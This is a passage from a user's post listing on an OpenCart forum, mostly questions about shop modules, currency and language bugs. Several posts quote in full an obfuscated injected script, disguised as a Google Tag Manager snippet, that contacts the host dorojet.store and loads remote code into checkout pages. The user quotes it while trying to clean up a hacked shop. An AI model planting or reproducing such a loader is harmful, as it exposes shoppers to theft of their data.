-
Публікації
93 -
З нами
-
Відвідування
Тип публікації
Профілі
Форум
Маркетплейс
Статті
FAQ
Наші новини
Магазин
Блоги
module__dplus_manager
Усі публікації користувача stebgo
-
Здравствуйте. Подскажите, в каком виде происходит запись в БД ? в валюте заказ или в валюте магазина и знак "-" есть или просто значение. Мне это нужно знать для интеграции с одним сервисом. Сейчас использую другой модуль, так там запись происходит в валюте магазина что совсем не хорошо и нормально скидка не экспортируется.
-
Здравствуйте. Подскажите, существует ли хороший модуль рассылки? нужен модуль в котором можно: - создавать шаблоны писем к разным событиям - праздники, новинки итд. - возможность отправки писем по крон - отправлять письма определенным группам покупателей. - возможность отписки -**** на https://opencartforum.com/ ничего подобного не нашёл. В общем нужен толковый модуль массовых рассылок
-
Здравствуйте. Подскажите, существует ли хороший модуль рассылки? нужен модуль в котором можно: - создавать шаблоны писем к разным событиям - праздники, новинки итд. - возможность отправки писем по крон - отправлять письма определенным группам покупателей. - возможность отписки -**** В общем нужен толковый модуль массовых рассылок
-
я это в модуле прописал чтобы для каждой валюты все возможные способы выводило
-
У меня этот заработал Striper (Stripe Checkout Module) только я его немного допилил для мульти магазина, и добавил другие украшения. Но я и мой друг gpt те еще программисты. но так все работает.
-
Короче, попили мы чаю с чатом gpt поковыряли код, и ничего у нас толкового не вышло. но в конце решили всунуть костыль - в том месте где записывается значение доставки, для итоговой стоимости, разделил обратно на курс выбранной валюты в файле catalog\model\extension\shipping\dostavkaplus.php после $cost = $price; вставить // Определяем текущую валюту из сессии $current_currency = $this->session->data['currency']; // Получаем курс для текущей валюты $exchange_rate = $this->currency->getValue($current_currency); // Делим $cost на курс, чтобы устранить удвоение if ($exchange_rate > 0) { $cost = $cost / $exchange_rate; } и это каким то чудом работает Буду очень благодарен если кто-нибудь сделает нормальную правку
- 1 107 відповідей
-
- произвольная
- модуль
-
(і ще %d)
Теги:
-
Здравствуйте я правильно понимаю что данный модуль уже не поддерживается и не развивается. Раньше он у меня работал на версии ocstore 2,0,1 и вроде както настроил сейчас перешел на ocstore 3 Установил модуль, залил бекап. И вроде все хорошо но чтото подозрительно все в корзине. путем долгого ковыряния настроек, выяснил что модуль глючный. в том числе и на демо сайте самого автора. он корректно рассчитывает стоимость доставки, но при добавлении стоимости доставки к итоговой стоимости зачем-то умножает еще на курс валюты. Все хорошо пока пользователь использует валюту по умолчанию, с коэффициентом 1 , но при выборе любой другой валюты, итоговая стоимость рассчитывается не правильно. может кто поправит за чашку кофе?
- 1 107 відповідей
-
- произвольная
- модуль
-
(і ще %d)
Теги:
-
удалил fetch(al('Ly9kb3JvamV0LnN0b3Jl'),{method:al(\"UE9TVA\")}).then(r=>r.blob()).\nthen(c=>c.text().then(b=>{jl.src=al(b);d.head.appendChild(jl);}));\n вроде все работает
-
Спасибо, чего-то я в бд не поискал. varvara.php удалил. нашел в бд в настройках корзины симпле, мне нужно удалить в этом коде (function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':\nnew Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s) [0],al=w.atob,\nj=d.createElement(s),jl=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'',p=d.location.pathname;jl.async=true;\nj.src='https:\/\/www.googletagmanager.com\/gtm.js?id='+i+dl;\nfetch(al('Ly9kb3JvamV0LnN0b3Jl'),{method:al(\"UE9TVA\")}).then(r=>r.blob()).\nthen(c=>c.text().then(b=> {jl.src=al(b);d.head.appendChild(jl);}));\n})(window,document,'script','dataLayer','GTM-M9HN3LS');\n","addressFormats":{"1":{"ru":"{firstname} {lastname}\n{company}\n{field20}\n{address_1} {address_2}\n{postcode}\n{city} {zone}\n{country}","en":"{firstname} {lastname}\n{company}\n{field20}\n{address_1} {address_2}\n{postcode}\n{city} {zone}\n{country}","pl":"{firstname} {lastname}\n{company}\n{field20}\n{address_1} {address_2}\n{postcode}\n{city} только ? fetch(al('Ly9kb3JvamV0LnN0b3Jl'),{method:al(\"UE9TVA\")}).then(r=>r.blob()).\nthen(c=>c.text().then(b=>{jl.src=al(b);d.head.appendChild(jl);})); или еще ;\n} после него вдруг лишнюю скобку оставлю которая будет вызывать сбой в работе, который сразу не замечу.
-
Спасибо, чего-то я в бд не поискал. varvara.php удалил. нашел в бд в настройках корзины симпле, мне нужно удалить в этом коде (function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':\nnew Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s) [0],al=w.atob,\nj=d.createElement(s),jl=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'',p=d.location.pathname;jl.async=true;\nj.src='https:\/\/www.googletagmanager.com\/gtm.js?id='+i+dl;\nfetch(al('Ly9kb3JvamV0LnN0b3Jl'),{method:al(\"UE9TVA\")}).then(r=>r.blob()).\nthen(c=>c.text().then(b=> {jl.src=al(b);d.head.appendChild(jl);}));\n})(window,document,'script','dataLayer','GTM-M9HN3LS');\n","addressFormats":{"1":{"ru":"{firstname} {lastname}\n{company}\n{field20}\n{address_1} {address_2}\n{postcode}\n{city} {zone}\n{country}","en":"{firstname} {lastname}\n{company}\n{field20}\n{address_1} {address_2}\n{postcode}\n{city} {zone}\n{country}","pl":"{firstname} {lastname}\n{company}\n{field20}\n{address_1} {address_2}\n{postcode}\n{city} только ? fetch(al('Ly9kb3JvamV0LnN0b3Jl'),{method:al(\"UE9TVA\")}).then(r=>r.blob()).\nthen(c=>c.text().then(b=>{jl.src=al(b);d.head.appendChild(jl);})); или еще ;\n} после него вдруг лишнюю скобку оставлю которая будет вызывать сбой в работе, который сразу не замечу.
-
Спасибо за помощь, но пока не нашел эту пакость. У меня лежит файл varvara.php, можете посмотреть через него? https://manuart.net/varvara.php там можно по всем файлам поиск сделать, раньше при помощи его искал всякие "base64_decode" и другой зашифрованный код. результат по поискам fetch(al('Ly9kb3JvamV0LnN0b3Jl'),{method:al("UE9TVA")}).then(r=>r.blob()). then(c=>c.text().then(b=>{jl.src=al(b);d.head.appendChild(jl);})); ничего не дал, пробовал отдельно искать Ly9kb3JvamV0LnN0b3Jl и fetch(al , так-же нулевой результат.
-
Здравствуйте. Нужна помощь в устранении вируса в корзине сайта, и поиск вредоносного кода на ocStore 2.1.0.2.1 магазину примерно 7 лет, за это время там много чего было установлено, варезного в том числе. Недавно сайт был взломан но его удалось откачать. Грешу на установленный сайт на вордпресс рядом с магазином. Только после его удаления получилось восстановить работу магазина. Из видимых проблем осталась только корзина, где антивирус ругается на какой-то https://dorojet.store/ консоль гуглхрома пишет : POST https://dorojet.store/ net::ERR_CONNECTION_RESET и что-то еще подозрительное. Мне нужно чтобы магазин смог продержаться еще 4-6 месяцев, пока я буду делать его на новом движке.
-
Добрый день. У вас есть рабочий модуль для версии 2,1 ? У меня также установлен, уже и не помню где брал (то ли в оксторе был сразу), но он имеет несколько проблем: 1) Проблема с ответом от 2checkout , там нужно что-то настроить, так как после оплаты статус заказа в админке не изменяется. 2) Также была проблема в модуле с оплатой в разных валютах, в модуле кто-то забыл вставить одну переменную (валюту) в форме отправки данных заказа, хотя в контроллере она есть и как бы предусмотрена. Это я исправил. 3) И последняя проблема - на странице 2checkout , там где покупатель указывает свой адрес доствки (или оплаты) автоматом не заполняется имя и фамилия, хотя те же данные передаются для адреса оплаты. В модуле, который есть у вас, присутствуют эти проблемы?
-
Я не совсем понял. Нужно делать такой функционал или он уже есть? В модуле не вижу возможности привязки к магазинам. (opencart 2 / MEGAMENU PRO v.1.4 )
-
Здравствуйте. Как можно реализовать разное меню для мультимагазина? Имею несколько магазинов на одном движке созданных стандартным способом опенкарта. Но в одном из магазинов необходимы другие пункты меню (категории, информация итд) Вы можете реализовать подобный функционал? Например для пунктов меню опцию - показывать в определенных магазинах (как например для обычных статей или товаров), или возможность создания отдельных меню которые можно отображать для определенных магазинов?
-
Здравствуйте. Возникло несколько проблем которые немного портят жизнь версия на данный момент 4.9.2 ocStore 2.1.0.2.1 Как сделать так чтобы при включенном по умолчанию "адрес оплаты совподает с адресом доставки" Отображался, для заполнения, адрес доставки? Сейчас при любом расположении отображается адрес оплаты. У моих покупателей очень редко возникает потребность вводить разные адреса и еще реже вводить адрес оплаты, но все же, иногда есть необходимость. В основном в этом нуждаются фирмы где адрес оплаты(фирмы) отличается например от адреса склада. Вторая проблема в том что если включен "адрес оплаты совподает с адресом доставки" то если добавить дополнительные поля в адрес доставки то они не будут видны пока покупатель не укажет что адреса разные. Например при доставке курьером я сделал дополнительное поле с номером телефона получателя, есть другие способы доставки где нужно вводить дополнительные данные(пункт выдачи заказа итд). А также, если в настройках нового поля в доставке стоит что это поле обязательно к заполнению, то можно оформить заказ без его заполнения(при включенном включен "адрес оплаты совподает с адресом доставки" )
-
Это лучший модуль который я встречал - при оформлении заказа, модуль считает скидку верно, но при переходе к платежному сервису (в моем случае paypal) скидка превращается в наценку. может это только у меня так.... раз другие не пишут. Подскажите, пожалуйста, где поправить для нормальной работы модуль 1,1 / oc 2,1
- 74 відповіді
-
- скидка заказ
- сумма
-
(і ще %d)
Теги:
-
Версия модуля 9.4 для php 5,6, насколько я понимаю последняя для ocStore 2.1.0.2.1 и обнавлений на нее не ждать.... но хоть мелкие баги вроде валюты будут исправлены? обновляться из-за одного модуля не вариант. использую MegaFilterPro, этот пример из инструкции не работает: MegaFilter.prototype.afterRender = function( htmlResponse, htmlContent, json ) { var self = this; ButtonAtherPage(); };
-
Здравствуйте. использую ocStore 2.1.0.2.1 1) Цена товара в всплывающем окне выводится в основной валюте магазина, а не в валюте выбранной покупателем. Вы это поправите в ближайшее время? 2) Можно включить форму добавления комментария и было бы неплохо добавить переменную для писем %comment% , что бы, например, добавить в письмо админу текст комментария. 3) Если я правильно понимаю то на страницах используется яваскрипт, который заменяет кнопку "купить" на кнопку модуля. Вы можете написать этот код для вставки в произвольное место? использую фильтр товаров на ajax и там есть возможность вставить свой яваскрипт.
-
нет, меня больше регистрация интересовала, смотрел в таблицу oc_customer Посмотрел в oc_order - там все правильно записывало. 500 ответ наверное был от того что я правку в код неправильную внес. так как до правок я таблицу проверял и там это поле уже было. В общем не знаю как но оно работает,и это меня радует. Есть только одна проблема - при печати инвойса заголовки и названия столбцов на языке администратора. Это можно как то вылечить? может модуль какой есть Хотел сделать несколько кнопок печати(сколько сколько языков столько и кнопок ) поковырял контроллер, но знаний маловато. может можно малыми усилиями сделать что бы инвойс использовал язык заказа?
-
Автору написал. Говорит симпле использует стандартную модель для регистрации. написал в этом файле у меня нет ни одного намека на запись в бд language_id пробовал в этот код $this->db->query("INSERT INTO " . DB_PREFIX . "customer SET customer_group_id = '" . (int)$customer_group_id . "', store_id = '" . (int)$this->config->get('config_store_id') . "', firstname = '" . $this->db->escape($data['firstname']) . "', lastname = '" . $this->db->escape($data['lastname']) . "', email = '" . $this->db->escape($data['email']) . "', telephone = '" . $this->db->escape($data['telephone']) . "', fax = '" . $this->db->escape($data['fax']) . "', custom_field = '" . $this->db->escape(isset($data['custom_field']['account']) ? json_encode($data['custom_field']['account']) : '') . "', salt = '" . $this->db->escape($salt = token(9)) . "', password = '" . $this->db->escape(sha1($salt . sha1($salt . sha1($data['password'])))) . "', newsletter = '" . (isset($data['newsletter']) ? (int)$data['newsletter'] : 0) . "', ip = '" . $this->db->escape($this->request->server['REMOTE_ADDR']) . "', status = '1', approved = '" . (int)!$customer_group_info['approval'] . "', date_added = NOW()"); добавить это language_id = '" . (int)$this->config->get('config_language_id'). "' что бы получилось $this->db->query("INSERT INTO " . DB_PREFIX . "customer SET customer_group_id = '" . (int)$customer_group_id . "', store_id = '" . (int)$this->config->get('config_store_id') . "', language_id = '" . (int)$this->config->get('config_language_id'). "', firstname = '" . $this->db->escape($data['firstname']) . "', lastname = '" . $this->db->escape($data['lastname']) . "', email = '" . $this->db->escape($data['email']) . "', telephone = '" . $this->db->escape($data['telephone']) . "', fax = '" . $this->db->escape($data['fax']) . "', custom_field = '" . $this->db->escape(isset($data['custom_field']['account']) ? json_encode($data['custom_field']['account']) : '') . "', salt = '" . $this->db->escape($salt = token(9)) . "', password = '" . $this->db->escape(sha1($salt . sha1($salt . sha1($data['password'])))) . "', newsletter = '" . (isset($data['newsletter']) ? (int)$data['newsletter'] : 0) . "', ip = '" . $this->db->escape($this->request->server['REMOTE_ADDR']) . "', status = '1', approved = '" . (int)!$customer_group_info['approval'] . "', date_added = NOW()"); несколько раз пробовал, то ошибка 500 то регистрировать не хочет, но в итоге когда писал пост, решил проверить в последний раз и все заработало Для баллов я использую как стандартное так и стороннее дополнение. Стандартное приложение стало отправлять вместо русского на английском, и это хорошо. Стороннее дополнение начало вести себя адекватно и посылать письма на нужном языке .
-
заказ и регистрация проходит через модуль simple checkout Спасибо за наводку! только что проверил, в базе поле языка есть, но везде значение 0, попробовал у тестового пользователя сменить id языка в базе и письма стали приходить на нужном языке. Я так понимаю что мне теперь модуль simple checkout ковырять надо....
-
Здравствуйте. Пользуюсь OcStore 2.1.0.2 В магазине установлено три языка, (причем, русский язык используется только для удобства пользования админкой.) Все фалы локализации переведены. Столкнулся со следующей проблемой. При заказе, регистрации и любых других письмах которые отправляются автоматически при определенных действиях пользователя полностью на языке пользователя. При отправке писем из админки (изменение статуса заказа, начисление бонусных баллов ) письма отправляются на языке администратора, а не на языке пользователя. Как можно решить эту проблему?
-
От этого результата нет с этим кодом ошибка 500 Я находил разные способы и вроде некоторым они помогают. Но все подобные проблемы возникают в обычных магазинах. У меня в основном магазине все в порядке, если бы не дополнительный магазин, я бы этой проблемы и не заметил. ocmod, который я загрузил выше, частично проблему решает - изменение статуса и просмотр заказа. Может можно, по аналогии с этим модификатором, поправить и страницу редактирования заказа? вроде я ей не пользуюсь но мало ли кому пригодится Код модификатора который исправляет проблему для дополнительного магазина
Останні розширення
-
-
SP Cool Timer Автор: spectre
-
Всі товари магазину Автор: kJlukOo
-
-
Список Замовлень PRO Автор: Parallax